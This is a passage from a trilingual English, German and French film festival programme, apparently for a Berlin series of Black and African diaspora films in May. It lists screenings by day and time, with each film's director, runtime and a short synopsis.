Action and the evil spirit in human society, versus the godly side in humanity. Oscar also reminisces about his childhood in Chicago, attending the University of Wisconsin, acting, Dick Durham, the cold war, W.E.B. DuBois, Paul Robeson, the Communist Party, Jim Crow, his army experiences, the collapse of Communism-Socialism, Black people in the Communist Party and his hopes for the future. Der Dokumentarfilm ""A Conversation With Oscar Brown Jr."" wurde in Oscars Hotelzimmer gedreht, nach Beendigung seines Konzertes auf Einladung des Hauses der Kulturen der Welt in Berlin/Deutschland. Er ist in mitteilsamer Laune und spricht ausführlich über Musik, die Beziehung zwischen Politik und Unmoral in den USA, den Stand der Dinge des Schwarzen Amerikas und die Unterklasse, Crack/Kokain, rassistische Vorurteile als mentale Krankheit, Affirmative Action und den bösen Geist in der menschlichen Gesellschaft im Kontrast zur göttlichen Seite der Menschlichkeit. Oscar schwelgt in Erinnerungen an seine Kindheit in Chicago, den Besuch der Universität von Wisconsin, ans Schauspielen, an Dick Durham, den Kalten Krieg, W.E.B. DuBois, Paul Robeson, die Kommunistische Partei, Jim Crow, seine Erfahrungen mit der Armee, den Zusammenbruch des Kommunismus´/Sozialismus´, schwarze Menschen in der Kommunistischen Partei und er erzählt über seine Hoffnungen für die Zukunft. Le film documentaire ""A Conversation With Oscar Brown Jr."" se déroule dans la chambre de l´hôtel d´Oscar, après la réalisation de son concert à Berlin/Allemagne suite à l´invitation de la ""Haus der Kulturen der Welt"". Il est dans une humeur expansible et parle longuement au sujet de la musique, du rapport entre la politique et les salles affaires aux États-Unis, de l´état de la question de l´Amérique noire et des classes d´individus infèrieures, du crack, de la cocaïne, du préjudice racial comme maladie mentale, de la ""Affirmative Action"" et de l´esprit mauvais dans la société humaine en contraste avec le côté divin de l´humanité. Oscar se rappelle également de son enfance à Chicago, ses études à l´université du Wisconsin, ses expériences théatrales, de Dick Durham, de la guerre froide, de W.E.B. DuBois, Paul Robeson, le parti communiste, Jim Crow, ses expériences dans l´armée, de l´effondrement du Socialisme-Communisme, des personnes noires au parti communiste et nous parle de ses espoirs dans l´avenir. __________________________________________________________________ Friday, May 5 8.30 pm / 20.30 Uhr SOUL OF JUSTICE: Thelton Henderson´s American Journey Director: Abby Ginzberg Documentary, Color/B/W, 62 min. U.S.A. 2005 English ""Soul Of Justice: Thelton Henderson´s American Journey"" is a gripping story about one man´s commitment to justice and human rights from the streets of East Los Angeles to the federal bench. This compelling and thought-provoking film from award-winning director Abby Ginzberg portrays the challenges Thelton Henderson experienced throughout his life as a black man in authority in a largely all-white world. Judge Henderson´s commitment to human rights has led him to a ten year effort to reform the medical care within California prisons. ""Soul Of Justice: Thelton Henderson´s American Journey"" ist die ergreifende Geschichte über einen Mann, der sich der Gerechtigkeit und den Menschenrechten verschrieben hat von den Straßen East Los Angeles bis zur Staatsbehörde. Dieser eindringliche und nachdenklich machende Film der preisgekrönten Regisseurin Abby Ginzberg beschreibt die Herausforderungen, denen sich Thelton Henderson sein Leben lang gestellt hat als schwarzer Mann mit Amtsgewalt in einer weithin weißen Welt. Richter Hendersons Engagement für die Menschenrechte führte ihn zu einem zehn Jahre dauernden Kampf um eine Reform der medizinischen Versorgung in kalifornischen Gefängnissen. ""Soul Of Justice: Thelton Henderson´s American Journey"" est une histoire passionnante de l´engagement d´un homme pour la justice et les droits de l´homme des rues de Los Angeles jusqu´au Banc fédéral. Ce film contraignant et provocatif de la réalisatrice primée par un prix, Abby Ginzberg, dépeint les défis que Thelton Henderson expérience durant toute sa vie en tant qu´homme noir muni d´une autorité dans un monde en grande partie blanc. L´engagement du Juge Henderson pour les droits de l´homme l´a conduit à un combat de dix ans de réforme du système de soin dans des prisons en Californie/USA. TUAREGS AND TOUBABS Director: Dottie Leroux Documentary, Color, 57 min. Mali/U.S.A. English/French with English subtitles Director´s statement: ""For 30 years, Africa has been my passion. As a `development worker´ in over 40 countries, I´ve seen it all: famine, genocide, the devastation of AIDS, corruption and civil wars – all headline grabbers. Only rarely do you hear or read about the `other Africa´ – the Africa of joy, diversity, and creativity; the incomparable musical genius, simple elegance, and open-heartedness of its people."" Statement der Regisseurin: ""Seit 30 Jahren ist Afrika meine Leidenschaft. Als `Entwicklungshelferin´ in über 40 Ländern habe ich alles gesehen: Hungersnot, Völkermord, Zerstörung durch AIDS, Korruption und Bürgerkriege – alles gut für Schlagzeilen. Nur selten hört oder liest man über das `andere Afrika´ – das Afrika der Freude, der Verschiedenheit und Kreativität; das unvergleichliche musikalische Genie, schlichte Eleganz und die Offenherzigkeit seiner Menschen."" Le rapport du directeur: ""Pendant 30 années, l´Afrique a été ma passion. En tant que `coopérant´ dans plus de 40 pays, j´ai tout vu: famine, génocide, dévastation causée par le SIDA, corruption et guerres civiles – tous pour les gros titres. Mais il est rare d´entendre parler de `l´autre Afrique´ – l´Afrique de la joie, de la diversité, et de la créativité; le génie musical incomparable, l´élégance simple, et le grand cœur de ses personnes."" __________________________________________________________________ Friday, May 5 10.30 pm / 22.30 Uhr YOU ARE WELCOME Director: Otu Tetteh Documentary, Color, 16 min. Ghana/Germany 2006 English and German with English subtitles ""You Are Welcome"" is a short personal look at the issue of migration to Europe with three interview partners. Otu Tetteh conducts interviews in Ghana regarding their feelings about that difficult theme. Africa and Europe, Ghana and Germany – are we coming closer? ""You Are Welcome"" ist ein kurzer persönlicher Blick auf das Thema Migration nach Europa mit drei Interviewpartnern. Otu Tetteh spricht in Ghana mit ihnen über ihre Gefühle zu diesem schwierigen Thema. Afrika und Europa, Ghana und Deutschland – kommen wir uns näher? ""You Are Welcome"" est un regard personnel court sur la question de la migration en Europe porté par trois personnes interviewées au Ghana. Otu Tetteh les interroge sur leur sentiment à propos de ce thème difficile. L´Afrique et l´Europe, le Ghana et l´Allemagne – sommes-nous en train de devenir plus proche? TURNTABLE Director: Robert Patton-Spruill Narrative, Color, 88 min. U.S.A. 2006 English ""Turntable"" is a feature film about DJ Spyder, a lonely, moody DJ hiding at the local nightclub Slade´s. What no one knows is that DJ Spyder´s brothers are back in town and about to ruin an arrangement their imprisoned father designed. ""Turntable"" ist ein Spielfilm über DJ Spyder, einen einsamen, launischen Discjockey, der sich im örtlichen Nachtclub Slade´s versteckt hält. Was niemand weiß, ist, dass DJ Spyders Brüder wieder in der Stadt sind und dabei, ein Geschäft zu ruinieren, das ihr Vater, der im Gefängnis einsitzt, in die Wege geleitet hat. ""Turntable"" est un longmétrage au sujet du DJ Spyder, un DJ isolé et instable, qui se cache dans le Club de nuit local le Slade. Ce que personne ne sait c´est que les frères de DJ Spyder sont de retour en ville et risquent de saper une affaire que leur père emprisonné a créé. __________________________________________________________________ Saturday, May 6 6.00 pm / 18.00 Uhr REUNION Director: Frances-Anne Solomon Documentary, Color, 30 min. U.K. 1995 English In September 1942, a group of West Indian women arrived in Britain to join the ATS, a branch of the army. The decision to recruit them followed two years of internal wrangling at the war office. In all, over 300 women served in Britain, Washington, and the Caribbean before the war ended. Now, nearly 50 years later, five such women are reunited to recount and reflect upon their experiences. Im September 1942 erreichte eine Gruppe von westindischen Frauen Britannien, um der ATS, einem Zweig der Armee, beizutreten. Die Entscheidung über ihre Rekrutierung folgte einem zweijährigen internen Streit im Kriegsministerium. Insgesamt dienten über 300 Frauen in Britannien, Washington und in der Karibik, bevor der Krieg endete. Heute, fast 50 Jahre später, sehen sich fünf dieser Frauen wieder, um ihre Erfahrungen auszutauschen und zu reflektieren. En septembre 1942, un groupe de femmes caraibéennes est arrivé en Grande-Bretagne pour rejoindre l´ATS, une branche de l´armée. La décision pour les recruter a causé deux ans de disputes internes au sein du bureau de la guerre. En tout, plus de 300 femmes ont servis en Grande-Bretagne, Washington, et les Caraïbes avant la fin de la guerre. Maintenant, presque 50 ans après, cinq d´entre elles sont réunies pour retracer et réfléchir sur leurs expériences. LEIMERT PARK: THE STORY OF A VILLAGE IN SOUTH CENTRAL LOS ANGELES Director: Jeannette Lindsay Documentary, Color, 88 min. U.S.A. 2005 English ""Leimert Park"" documents an extraordinary group of artists and musicians who, in the wake of the 1992 Los Angeles riots, created an underground arts movement and transformed a community. ""Leimert Park"" dokumentiert eine außergewöhnliche Gruppe von Künstlern und Musikern, die im Verlauf der Rebellion in Los Angeles 1992 eine Underground-Kunstbewegung gründeten und die Gemeinde umgestalteten. ""Leimert Park"" documente un groupe extraordinaire d´artistes et de musiciens qui, à la suite des émeutes en 1992 à Los Angeles, ont créé un mouvement d´arts souterrain et ont transformé une communauté. __________________________________________________________________ Saturday, May 6 8.30 pm / 20.30 Uhr ANDRE ALEXIS: MEMORY PLACES Director: Frances-Anne Solomon Documentary, Color, 24 min. Canada 2005 English In ""Memory Places"", author and playwright Andre Alexis takes us on a tour of those places that spark memories and stir his imagination. The documentary travels from his birthplace in Trinidad, to Ottawa, where he spent his childhood, and finally to the Toronto neighborhood he now calls home. As he discusses his work, we come to realize why each location has such a remarkable hold on him. In ""Memory Places"" nimmt uns der Autor und Stückeschreiber Andre Alexis mit zu jenen Plätzen, die seine Erinnerungen wachrufen und seine Vorstellungskraft anregen. Die Dokumentation beschreibt den Weg von seinem Geburtsort in Trinidad, über Ottawa, wo er seine Kindheit verbrachte, bis zu seiner Nachbarschaft in Toronto, die er heute als sein Zuhause bezeichnet. Während er seine Arbeit erläutert, erkennen wir, warum jeder Ort eine solch starke Macht auf ihn ausübt. Dans ""Memory Places"", l´auteur et le dramaturge André Alexis nous emmène en excursion dans ces endroits qui activent ses souvenirs et remuent son imagination. Le documentaire décrit son voyage de son lieu de naissance à Trinidad, en passant par Ottawa, où il a passé son enfance, et finalement jusqu´à Toronto, qu´il considère comme sa maison maintenant. Pendant qu´il explique son travail, nous sommes amenés à réaliser pourquoi chaque endroit a une prise si forte sur lui. PÅ EVENTYR I INDIEN / WHEN WE WERE TIGERS Directors: Catherine Kunze & Jacob Wellendorf Documentary, Color, 21 min. Denmark 2005 Danish with English subtitles Two little Danish girls – three-year-old Chloe and one-year-old Theat – go in search of adventure in India. They visit an Indian grandfather where they learn how to wash clothes Indian style, they go by train through Southern India, and they stay at a tea plantation in the mountains. A heartwarming and poetic film about two sisters and their meeting with an unfamiliar culture. Zwei kleine dänische Mädchen – die dreijährige Chloe und die einjährige Theat – gehen auf Abenteuersuche nach Indien. Sie besuchen einen indischen Großvater, bei dem sie lernen, Wäsche auf indische Weise zu waschen. Mit dem Zug fahren sie durch den Süden Indiens und besuchen eine Teeplantage in den Bergen. Ein herzerwärmender und poetischer Film über zwei Schwestern und ihre Begegnung mit einer ungewohnten Kultur. Deux petites filles danoises – Chloe âgée de trois ans et Theat d´un an – vont à la recherche de l´aventure en Inde. Ils rendent visite à un grand-père indien, là-bas ils apprennent comment laver les vêtements à la méthode indienne, ils voyagent par train dans le Sud de l´Inde, et ils restent dans une plantation de thé dans les montagnes. Un film réconfortant et poétique au sujet de deux soeurs et leur réunion avec une culture peu familière. SIDEMAN Director: Frédéric Baillif Documentary, Color, 65 min. Switzerland 2003 English, French with English subtitles The film is the portrait of a young Swiss American harmonica player living in New York. Grégoire Maret, born in Geneva, is 26 years old. He moved to New York City seven years ago to study the instrument at the New School of New York. He is performing and recording today with great jazz and fusion music artists. Grégoire Maret is also a very touching person who speaks about his work in a very passionate and humble way. The film relates his life from August 2001 to April 2002, between a recovering New York City and a relaxing Switzerland. Der Film ist das Porträt eines jungen schweiz-amerikanischen in New York lebenden Mundharmonikaspielers. Grégoire Maret, geboren in Genf, ist 26 Jahre alt. Er zog vor sieben Jahren nach New York, um das Instrument an der New School of New York zu studieren. Heute spielt er und nimmt CDs auf mit Jazzgrößen und Künstlern der Fusionmusik. Ebenso ist Grégoire Maret ein sehr gefühlvoller Mensch, der über seine Arbeit auf leidenschaftliche und demütige Weise spricht. Der Film beschreibt sein Leben von August 2001 bis April 2002, zwischen einem sich erholenden New York und einer beruhigenden Schweiz. Le film est le portrait d’un jeune joueur d’ harmonica suisse américain habitant à New York. Grégoire Maret, né à Genève, a 26 ans. Il a déménagé à New York City il y a sept ans pour étudier l’instrument à la nouvelle école de New York. Il joue et enregistre aujourd’hui avec de grands artistes de jazz et des artistes de la musique de fusion. Grégoire Maret est également une personne très émouvante qui parle au sujet de son travail d’une manière très passionnée et humble. Le film raconte sa vie d’août 2001 à avril 2002, entre une ville de New York City se remettant du 11. Septembre et une Suisse relax. __________________________________________________________________ Saturday, May 6 10.30 pm / 22.30 Uhr I DREAM A WORLD Producers: Fountainhead® Tanz Theatre & Pol-Tel Director: Tomas Lewinski Documentary, Color, 24 min. Poland/Germany 1988-1990 English Documentary film exploring a dance workshop directed by Fountainhead® Tanz Theatre in Arezzo, Italy. The title and concept are based on the Langston Hughes poem ""I Dream A World"". A portrayal of multi-cultural, -racial gathering of dancers, teachers and their communication with one another. Awarded ""Best Film"" 1988 by the Polish Commission for Film Arts. Eine Dokumentation über einen Tanzworkshop geleitet von Fountainhead® Tanz Theatre in Arezzo, Italien. Der Titel und das Konzept basieren auf dem Gedicht von Langston Hughes ""I Dream A World"". Porträt einer multi-kulturellen, multi-ethnischen Zusammenkunft von TänzerInnen und LehrerInnen und ihrer Kommunikation untereinander. Ausgezeichnet als ""Bester Film"" 1988 von der Polnischen Kommission für Filmkunst. Un documentaire explorant un atelier de danse dirigé par Fountainhead® Tanz Theatre à Arezzo en Italie. Le titre et le concept sont basés sur la poésie de Langston Hughes ""I Dream A World""/""Je Rêve d´un Monde"". Le portrait d´un rassemblement multiethnique, multiculturel de danseurs et professeurs et la communication entre eux. Désigné comme ""meilleur film"" en 1988 par la Commission polonaise pour l´art cinématographique. DJELI ON VERI / IN THE BLOOD, PORTRAIT OF A GRIOT Directors: Aleksi Oksanen & Jari Järvi Documentary, Color, 25 min. Finland 2005 French and Dioula with English subtitles Ousmane ""Zoumana"" Dembele was born in Burkina Faso to a family of djelis, also known as griots – hereditary musicians and storytellers of West Africa. He learned the traditional djeli repertoire by playing the supporting calabash drums to his father´s fiddle. Griot musical traditions are still passed from one generation to the next, but times are changing. The djembe, a drum popular in West Africa, has become increasingly prominent in griot repertoires. Zoumana Dembele is one of the world´s most promising djembe players. Ousmane ""Zoumana"" Dembele wurde in Burkina Faso in eine Familie von Djelis geboren, auch bekannt als Griots – vererbte Gabe als Musiker und Geschichtenerzähler in Westafrika. Er lernte das traditionelle Djelirepertoire, indem er die Geige seines Vaters mit den Calabashtrommeln begleitete. Die musikalischen Traditionen werden immer noch von einer Generation an die nächste weitergegeben, aber die Zeiten ändern sich. Die Djembe, eine in Westafrika populäre Trommel, ist im Repertoire der Griots immer prominenter geworden. Zoumana Dembele ist einer der aussichtsreichsten Djembespieler der Welt. Ousmane ""Zoumana"" Dembele est né au Burkina Faso dans une famille de djelis, également connue sous le nom de griots – les musiciens et les conteurs traditionnels de l´Afrique occidentale. Il a appri le répertoire traditionnel des djelis en accompagnant aux tambours de calebasse le violon de son père. Les traditions musicales des Griots sont encore transmises d´une génération à l´autre, mais les temps changent. Le djembe, un tambour populaire en Afrique occidentale, est devenu de plus en plus utilisé dans les répertoires du griot. Zoumana Dembele est un des joueurs du djembe les plus prometteurs du monde. AFRIQUE: LA PAROLE ESSENTIELLE Director: Ibrahima Sarr Documentary, Color, 55 min. Chad 2005 French with English subtitles Instructing children in Chad, to consider their life choices carefully. Kindern aus dem Tschad wird vermittelt, ihre Entscheidungen im Leben mit Vorsicht zu treffen. Dans le film, il est question d´enseigner aux enfants du Tchad à considérer les choix de leur vie soigneusement. __________________________________________________________________ Sunday, May 7 6.00 pm / 18.00 Uhr AS AN ACT OF PROTEST Director: Dennis Leroy Moore Narrative, Color, 144 min. U.S.A. 2002 English ""As An Act Of Protest"" is ""an internal Battle of Algiers"". It is a poetic cinematic essay on racism and its psychological effects. It is an avant-garde movie that is more like a tone poem or classical black theater piece rather than a foray into conventional narrative cinema and its style flows from documentary and melodrama to satire and horror. The movie follows the “ rite-of-passage-stations-of-the-cross"" journey of a young passionate apollonian African American actor named Cairo Medina and his early artistic trials and tribulations with his director and dionysiac kindred spirit, Abner Sankofa. Together, after leaving a NYC Theater conservatory, they form a theatre group in Harlem and try to revive the Black Arts Movement which had such an impact on the theater community in the 1960´s. ""As An Act Of Protest"" ist ""eine innere Schlacht von Algier"". Es ist ein poetisches filmisches Essay über Rassismus und dessen psychologischen Auswirkungen. Es ist ein avantgardistischer Film, der mehr einer Tondichtung oder einem klassischen schwarzen Theaterstück gleicht als einem Ausflug in das konventionelle Erzählkino, und sein Stil fließt von der Dokumentation und dem Melodram in die Satire und den Horror. Der Spielfilm folgt den ""Stationen der Kreuzigung"" eines jungen leidenschaftlichen, apollinischen afrikanisch-amerikanischen Schauspielers namens Cairo Medina und seinen frühen künstlerischen Versuchen und Drangsalen mit seinem Regisseur und dionysischen Geist, Abner Sankofa. Zusammen gründen sie eine Theatergruppe in Harlem, nachdem sie ein Theaterkonservatorium in New York City verlassen haben, und versuchen die Black Arts Bewegung wieder zu beleben, die einen großen Einfluss auf die Theaterschaffenden in den 1960ern hatte. ""As An Act Of Protest"" est ""une bataille intèrieure d´Alger"". C´est un essai cinématographique poétique sur le racisme et ses effets psychologiques. C´est un film avant garde qui est plus une poésie tonale ou une pièce noire théatrale classique, qu´une incursion dans le cinéma narratif conventionnel. Son style navigue du documentaire et mélodrame à la satire et l´horreur. Le film suit le ""rite de chemin de croix"" d´un jeune acteur apollonien Africain-Américain passionné appelé Cairo Medina et ses épreuves et tribulations artistiques au tout début avec son directeur et esprit dyonisien, Abner Sankofa. Ensemble, après avoir quitté un conservatoire de théâtre de la ville de New York, ils constituent un groupe de théâtre dans Harlem et essayent de rétablir le mouvement d´arts noirs qui a eu un tel impact sur la communauté théâtrale dans les années 60. __________________________________________________________________ Sunday, May 7 8.30 pm / 20.30 Uhr YOU ARE WELCOME Director: Otu Tetteh Documentary, Color, 16 min. Ghana/Germany 2006 English and German with English subtitles ""You Are Welcome"" is a short personal look at the issue of migration to Europe with three interview partners. Otu Tetteh conducts interviews in Ghana regarding their feelings about that difficult theme. Africa and Europe, Ghana and Germany – are we coming closer? ""You Are Welcome"" ist ein kurzer persönlicher Blick auf das Thema Migration nach Europa mit drei Interviewpartnern. Otu Tetteh spricht in Ghana mit ihnen über ihre Gefühle zu diesem schwierigen Thema. Afrika und Europa, Ghana und Deutschland – kommen wir uns näher? ""You Are Welcome"" est un regard personnel court sur la question de la migration en Europe porté par trois personnes interviewées au Ghana. Otu Tetteh les interroge sur leur sentiment à propos de ce thème difficile. L´Afrique et l´Europe, le Ghana et l´Allemagne – sommes-nous en train de devenir plus proche? TURNTABLE Director: Robert Patton-Spruill Narrative, Color, 88 min. U.S.A. 2006 English ""Turntable"" is a feature film about DJ Spyder, a lonely, moody DJ hiding at the local nightclub Slade´s. What no one knows is that DJ Spyder´s brothers are back in town and about to ruin an arrangement their imprisoned father designed. ""Turntable"" ist ein Spielfilm über DJ Spyder, einen einsamen, launischen Discjockey, der sich im örtlichen Nachtclub Slade´s versteckt hält. Was niemand weiß, ist, dass DJ Spyders Brüder wieder in der Stadt sind und dabei, ein Geschäft zu ruinieren, das ihr Vater, der im Gefängnis einsitzt, in die Wege geleitet hat. ""Turntable"" est un longmétrage au sujet du DJ Spyder, un DJ isolé et instable, qui se cache dans le Club de nuit local le Slade. Ce que personne ne sait c´est que les frères de DJ Spyder sont de retour en ville et risquent de saper une affaire que leur père emprisonné a créé. __________________________________________________________________ Sunday, May 7 10.30 pm / 22.30 Uhr ASHOOBE YADHA / MEMORIES CONFUSION Director: Farid Mirkhani Experimental, B/W, 12 min. Iran 2005 Turkish with English subtitles A man whose son died talks with passengers about his son, but... Ein Mann, dessen Sohn gestorben ist, spricht mit Fahrgästen über seinen Sohn, aber... Un homme dont le fils est mort parle avec des passagers au sujet de son fils, mais... THE WILL TO SURVIVE: THE STORY OF THE GULLAH/GEECHEE NATION Director: Jim White Documentary, Color, 47 min. U.S.A. 2006 English The documentary chronicles the Gullah and Geechee people, who were first brought from Africa to isolated islands near Georgia, U.S.A. Once enslaved in the Caribbean and the U.S.A., many African traditions are still alive in today´s Gullah/Geechee culture. Die Dokumentation zeichnet ein chronologisches Bild der ethnischen Gruppen Gullah und Geechee, die als erste aus Afrika zu den abgelegenen Inseln nahe Georgia, USA, gebracht worden waren. Einst versklavt in der Karibik und in den USA, sind viele afrikanische Traditionen der Gullah-Geecheekultur heute noch lebendig. Le documentaire retrace l´histoire chronologique des peuples Gullah et de Geechee, qui ont été apportés les premiers d´Afrique sur les îles isolées près de la Géorgie/Etats-Unis. Autrefois asservis dans les Caraïbes et aux États-Unis, beaucoup de traditions africaines sont encore vivantes dans la culture d´aujourd´hui des Gullah et Geechee. WHAT MY MOTHER TOLD ME Director: Frances-Anne Solomon Narrative, Color, 57 min. U.K./Trinidad-Tobago 1995 English Exquisitely beautiful, and profoundly moving, ""What My Mother Told Me"" is a dramatic journey towards self-discovery. The story focuses on Jesse, a young woman from England, who goes to Trinidad to bury her father. Reluctantly she agrees to meet her mother, whom she thought had abandoned her when she was a child. Her mother tells her stories, revealing a troubled and violent marriage, and Jesse is forced to face the truth about her past. Äußerst schön und zu tiefst bewegend beschreibt ""What My Mother Told Me"" eine dramatische Reise zur Selbsterkenntnis. Die Geschichte handelt von Jesse, einer jungen Frau aus England, die nach Trinidad reist, um ihren Vater zu beerdigen. Widerstrebend ist sie damit einverstanden, ihre Mutter zu treffen, von der sie denkt, dass diese sie als Kind im Stich gelassen hat. Ihre Mutter erzählt ihr Geschichten, die eine Ehe mit Schwierigkeiten und Gewalt offenbaren, und Jesse wird gezwungen, sich der Wahrheit über ihre Vergangenheit zu stellen. Beau à l´exquise et profondément émouvant, ""What My Mother Told Me"" est un voyage dramatique vers la découverte de l´individu. L´histoire est centrée sur Jesse, une jeune femme d´Angleterre, qui va au Trinidad enterrer son père. À contre-coeur elle accepte de rencontrer sa mère, dont elle a pensé avoir été abandonnée par elle quand elle était un enfant. Sa mère lui raconte des histoires, révélant un mariage violent et troublée, et Jesse est forcée de faire face à la vérité au sujet de son passé. __________________________________________________________________ Monday, May 8 6.00 pm / 18.00 Uhr PÅ EVENTYR I INDIEN / WHEN WE WERE TIGERS Directors: Catherine Kunze & Jacob Wellendorf Documentary, Color, 21 min. Denmark 2005 Danish with English subtitles Two little Danish girls – three-year-old Chloe and one-year-old Theat – go in search of adventure in India. They visit an Indian grandfather where they learn how to wash clothes Indian style, they go by train through Southern India, and they stay at a tea plantation in the mountains. A heartwarming and poetic film about two sisters and their meeting with an unfamiliar culture. Zwei kleine dänische Mädchen – die dreijährige Chloe und die einjährige Theat – gehen auf Abenteuersuche nach Indien. Sie besuchen einen indischen Großvater, bei dem sie lernen, Wäsche auf indische Weise zu waschen. Mit dem Zug fahren sie durch den Süden Indiens und besuchen eine Teeplantage in den Bergen. Ein herzerwärmender und poetischer Film über zwei Schwestern und ihre Begegnung mit einer ungewohnten Kultur. Deux petites filles danoises – Chloe âgée de trois ans et Theat d´un an – vont à la recherche de l´aventure en Inde. Ils rendent visite à un grand-père indien, là-bas ils apprennent comment laver les vêtements à la méthode indienne, ils voyagent par train dans le Sud de l´Inde, et ils restent dans une plantation de thé dans les montagnes. Un film réconfortant et poétique au sujet de deux soeurs et leur réunion avec une culture peu familière. LES JOURS À CÔTÉ – DAYS ASIDE Directors: Iliana Estañol & Ella Pugliese Documentary, Color, 46 min. Burkina Faso/Germany 2005 French and Norée with English subtitles ""Days Aside"" is the story of three street kids from Burkina Faso, who live in the capital Ouagadougou taking each day as it comes. Their lives change with the arrival of tourists and filmmakers attending the largest film festival in Africa, the FESPACO. ""Days Aside"" ist die Geschichte dreier Straßenkinder aus Burkina Faso, die in der Hauptstadt Ouagadougou leben und jeden Tag so nehmen, wie er kommt. Ihr Leben ändert sich mit der Ankunft von Touristen und Filmemachern, die das größte Filmfestival in Afrika besuchen, das FESPACO. ""Les Jours À Côté"" est l´histoire de trois gosses de rue de Burkina Faso, qui vivent dans la Capitale de Ouagadougou, prenant chaque jour comme il vient. Leurs vies changent avec l´arrivée des touristes et des cinéastes assistant au plus grand festival de filmes en Afrique, le FESPACO. QUEENS OF SOUND – A HERSTORY OF REGGAE AND DANCE HALL Director: Sandra Krampelhuber Documentary, Color, 72 min. Austria 2006 English with German subtitles ""Queens Of Sound"" documents the long neglected female side of reggae and dance hall music in Jamaica. Three generations of women in the Jamaican music business tell us about their role past and present, the first steps into their career, the struggle for acceptance in a male dominated business, their life paths and big success. ""Queens Of Sound"" dokumentiert die lange Zeit vernachlässigte weibliche Seite des Reggae und der Dancehall-Musik in Jamaika. Drei Generationen von Frauen aus dem jamaikanischen Musikgeschäft erzählen uns von ihrer Rolle in der Vergangenheit und Gegenwart, ihren ersten Schritten in ihre Karriere, von ihrem Kampf um Anerkennung in einem männlich dominierten Geschäft, von ihren Lebenswegen und dem großen Erfolg. ""Queens Of Sound"" documente le côté féminin longtemps négligé du reggae et de la Dancehall musique en Jamaïque. Trois générations de femmes dans les affaires jamaïquaines de la musique nous parlent de leur rôle dans le passé et le présent, leur premier pas dans la carrière, leur lutte pour la reconnaissance dans un business dominé par les hommes, tout comme leur chemin de vie et grand succès. __________________________________________________________________ Monday, May 8 8.30 pm / 20.30 Uhr THE MAKING OF A PRESIDENT Directors: Christian Goertz & Mirella Domenich Documentary,Color, 53 min. Malawi, Germany, Brazil 2005 German/English/Portuguese with German/English/Portuguese subtitles In 2004 Malawi celebrates ten years of democracy with its third general elections held on the 20th of May. The elections, however, raise the question as to how far the democratization process has developed in this Southern African nation of 12 million people. 2004 feierte Malawi zehnjähriges Bestehen seiner Demokratie mit seiner dritten allgemeinen Wahl am 20. Mai. Dennoch wirft die Wahl die Frage auf, inwieweit der Demokratisierungsprozess diesen südafrikanischen Staat mit seinen 12 Mill. Menschen erreicht hat. En 2004, le Malawi célèbre dix ans de démocratie avec ses troisième élections générales tenues le 20. mai. Les élections, cependant, soulèvent la question; dans quelle mesure le procédé de démocratisation a atteint cette nation africaine du Sud de 12 millions de personnes. SOPRANO Director: Ali Kheir Khah Documentary, Color, 32 min. Iran 2004 Farsi with English subtitles An aspiring artist faces challenges in her quest to become a classical singer. Eine ehrgeizige Künstlerin stößt auf Widerstände bei ihrem Bestreben, eine klassische Sängerin zu werden. Une chanteuse ambitieuse doit faire face à des défis pour devenir une chanteuse classique. LOUISE BENNETT: MISS LOU THEN AND NOW Directors: Frances-Anne Solomon & Regan Macaulay Documentary, Color, 24 min. Canada 2005 English Louise Bennett is a Jamaican icon. The country´s leading author, poet, and comedienne, Miss Lou pioneered the use of the Jamaican language, raising the patois dialect to an art level and reflecting the truth and essence of Jamaican life. In this remarkable interview conducted by Leonie Forbes, Louise reflects upon her rich life story and her illustrious body of work. Louise Bennett ist eine jamaikanische Ikone. Des Landes führende Autorin, Dichterin und Komödiantin, Miss Lou, war Pionierin im Gebrauch der jamaikanischen Sprache, erhob den Dialekt Patois zu einer Kunstform und reflektierte Wahrheit und Essenz des jamaikanischen Lebens. In diesem bemerkenswerten Interview, geführt von Leonie Forbes, erinnert sich Louise an ihre reiche Lebensgeschichte und die illusteren Werke ihres Schaffens. Louise Bennett est une icône jamaïquaine. Le plus important auteur, poète, et la plus importante comédienne du pays, Mme Lou a marqué le chemin dans l´utilisation de la langue jamaïquaine, relevant ainsi le dialecte local du patois à un niveau d´art, reflétant ainsi la vérité et l´essence de la vie jamaïquaine. Dans cet entretien remarquable conduit par Leonie Forbes, Louise revoit l´histoire riche de sa vie et les oeuvres accomplies de ses créations. __________________________________________________________________ Monday, May 8 10.30 pm / 22.30 Uhr THE BLACK RING Director: Farhoud Bahri Karami Experimental, Color, 13 min. Iran 2005 no dialogue Humans observed from black birds´ point of view. Menschen aus dem Blickwinkel schwarzer Vögel. Les humains sont observés à travers les yeux de l´oiseau noir. NEW FLAVORS: THE EMERGENCE OF SOUTHERN HIP HOP Directors: Vernon Clarke & Brian Bentley Documentary, Color, 60 min. U.S.A. 2005 English ""New Flavors: The Emergence of Southern Hip Hop"" is a documentary film, highlighting the impact Southern Hip Hop artists have had on the music and radio industries both in North America and world wide. The piece examines how the South´s influence is making a significant impact on this subculture called Hip Hop and why young people around the world are also relating to it. The perspective of the film focuses on how Southern artists – including Lil Jon, TI, Ludacris and David Banner among others – have influenced and impacted the direction of today´s music. ""New Flavors: The Emergence of Southern Hip Hop"" ist ein Dokumentarfilm, der den Einfluss von Hip-Hop-Künstlern aus dem Süden auf die Musik- und Radioindustrie sowohl in Nordamerika als auch weltweit hervorhebt. Der Film untersucht den signifikanten Einfluss des Südens auf diese Subkultur, genannt Hip-Hop, und warum auch junge Menschen auf der ganzen Welt sich damit identifizieren können. Die Perspektive des Films konzentriert sich auf die Art und Weise wie Künstler aus dem Süden – darunter Lil Jon, TI, Ludacris, David Banner und andere – die Richtung der heutigen Musik beeinflusst und bestimmt haben. ""New Flavors: The Emergence of Southern Hip Hop"" est un film documentaire de 60 minutes, mettant en valeur l´impact des artistes de Hip Hop du Sud sur la musique et les industries de radio en Amérique du Nord et dans le monde entier. Le film examine l´impact significatif du sud sur cette culture secondaire, appelée Hip Hop et pourquoi les jeunes dans le monde se réfèrent à lui. La perspective du film se concentre sur la façon dont les artistes du Sud – comprenant Lil Jon, TI, Ludacris et David Banner et d´autres – ont influencé et ont donné la direction de la musique d´aujourd´hui. HOMEZONE Director: Youssef Rabbaoui Documentary/Narrative, Color, 42 min. Germany 2005 German with English subtitles ""Homezone"" is a film about and with teenagers in Wedding, Berlin. Acted by locals from an ethnically mixed working class area in the heart of Berlin. Just a few blocks away from the central government buildings. Ordinary youths living their lives of quiet desperation, bored and trapped in the only environment they know. A short and poignant story about young people without a history. ""Homezone"" ist ein Film über und mit Teenagern aus Wedding, Berlin. Gespielt von Anwohnern aus einem ethnisch gemischten Arbeiterbezirk im Herzen Berlins. Nur ein paar Blocks 